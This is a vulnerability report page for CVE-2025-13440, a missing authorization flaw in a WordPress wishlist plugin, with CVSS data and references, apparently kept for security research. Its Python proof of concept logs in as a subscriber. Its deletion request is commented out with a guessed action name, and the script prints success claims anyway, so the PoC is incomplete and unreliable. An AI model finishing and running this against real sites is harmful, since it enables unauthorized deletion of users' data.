Security Vulnerability Report
中文
CVE-2025-13440 CVSS 5.3 MEDIUM

CVE-2025-13440

Published: 2025-12-12 04:15:42
Last Modified: 2026-04-15 00:35:42

Description

The Premmerce Wishlist for WooCommerce plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 1.1.10. This is due to a missing capability check on the deleteWishlist() function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary wishlists.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Premmerce Wishlist for WooCommerce <= 1.1.10(所有版本均受影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # Configuration target_url = "http://target-wordpress-site.com" username = "attacker_account" password = "attacker_password" # Target wishlist ID to delete (can be any integer) target_wishlist_id = 1 # WordPress authentication session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } # Login to WordPress session.post(login_url, data=login_data) # Method 1: Using admin-ajax.php (requires nonce) # First, get a valid nonce from the wishlist page nonce_url = f"{target_url}/wp-admin/admin.php?page=premmerce-wishlist" response = session.get(nonce_url) # Extract nonce from response (typical pattern: adminAjax = {...}) # nonce = extract_nonce(response.text) # Exploit using admin-ajax.php # ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # exploit_data = { # "action": "premmerce_delete_wishlist", # "wishlist_id": target_wishlist_id, # "nonce": nonce # } # session.post(ajax_url, data=exploit_data) # Method 2: Direct function call if accessible # The vulnerability exists because deleteWishlist() lacks capability check print(f"[*] Attempting to delete wishlist ID: {target_wishlist_id}") print(f"[*] Target: {target_url}") print(f"[*] Authenticated as: {username} (subscriber level)") print("[!] This PoC demonstrates the missing authorization vulnerability") print("[!] Any authenticated user can delete arbitrary wishlists")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13440", "sourceIdentifier": "[email protected]", "published": "2025-12-12T04:15:41.997", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Premmerce Wishlist for WooCommerce plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 1.1.10. This is due to a missing capability check on the deleteWishlist() function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary wishlists."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/premmerce-woocommerce-wishlist/tags/1.1.10/src/Admin/Admin.php#L334", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/premmerce-woocommerce-wishlist/trunk/src/Admin/Admin.php#L334", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3426971/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9347900c-61c2-4d63-885e-e971c646b737?source=cve", "source": "[email protected]"}]}}